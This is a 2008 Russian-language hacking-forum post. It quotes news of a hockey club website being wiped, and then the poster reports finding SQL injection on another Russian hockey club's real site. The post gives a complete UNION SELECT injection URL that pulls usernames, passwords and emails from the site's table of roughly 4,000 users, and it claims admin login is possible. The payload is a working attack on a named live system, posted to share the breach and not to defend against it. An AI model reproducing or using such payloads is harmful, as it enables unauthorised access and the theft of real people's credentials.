Показать сообщение отдельно

  #4  
Старый 26.03.2008, 17:46
SIdoy
Новичок
Регистрация: 19.09.2007
Сообщений: 12
Провел на форуме:
324160

Репутация: 19
По умолчанию

Цитата:
Дата: 24.03.2008
http://www.xakep.ru/post/42921/default.asp

Хакеры взломали веб-сайт новосибирского хоккейного клуба «Сибирь». С ресурса были удалены все данные.
Я решил поискать на сайтах других команд Российской суппер лиги и нашел инъекцию на сайте "Уфимского Салавата". Таблица с зарегестрированными, почти, 4к юзерами ... Правда попасть в админку мне не удалось, зато можно зайти на сайт под админом.

http://www.hcsalavat.ru/?show=1696%20and%200%20union%20select%201,2,concat _ws(0x3a,nick,pass,email),4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20%20from%20users%20limit%203965 ,1--
 
Ответить с цитированием